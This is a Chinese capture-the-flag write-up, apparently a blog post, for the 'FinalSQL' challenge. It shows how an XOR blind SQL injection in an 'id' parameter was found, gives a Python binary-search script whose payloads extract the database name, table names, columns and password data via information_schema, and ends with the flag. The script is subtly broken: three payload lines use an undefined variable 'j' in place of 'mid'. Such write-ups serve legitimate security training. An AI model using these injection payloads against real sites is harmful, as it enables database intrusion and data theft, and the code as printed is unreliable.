[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

提示很明显,需要SQL盲注
这道题的注入点不是登录框,而是上面的数字按钮
在登录框测试能否注入的时候,返回值没有显示错误

双引号正常

单引号警告

但是在id的位置输入^的时候可以触发Error

所以注入点应该在id

把之前发的脚本拿出来改改可以用
主要是修改一下注入语句的部分,其他没有改

import requests
url = "http://e4247cff-5d64-4353-b875-e07e478c50bf.node3.buuoj.cn/search.php"
flag = ''
for i in range(1,100):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
        # 查数据库
        database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 查表
        tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
        columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+database)
        # print(url+database)
        # print(payload1)
        # print(r.raw)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        # print(low,mid,high)
    flag += chr(low)
    print(flag)

首先查数据库

查表

查F1naI1y的列

查具体数据的时候特别慢,数据特别长

发现flag还没有显示全,将i的范围扩大到230,耐心等待。。

拿到flag
flag{06245876-8e6c-41fa-9c12-903467d5b693}

posted @ 2020-07-15 13:12  云千  阅读(995)  评论(0编辑  收藏  举报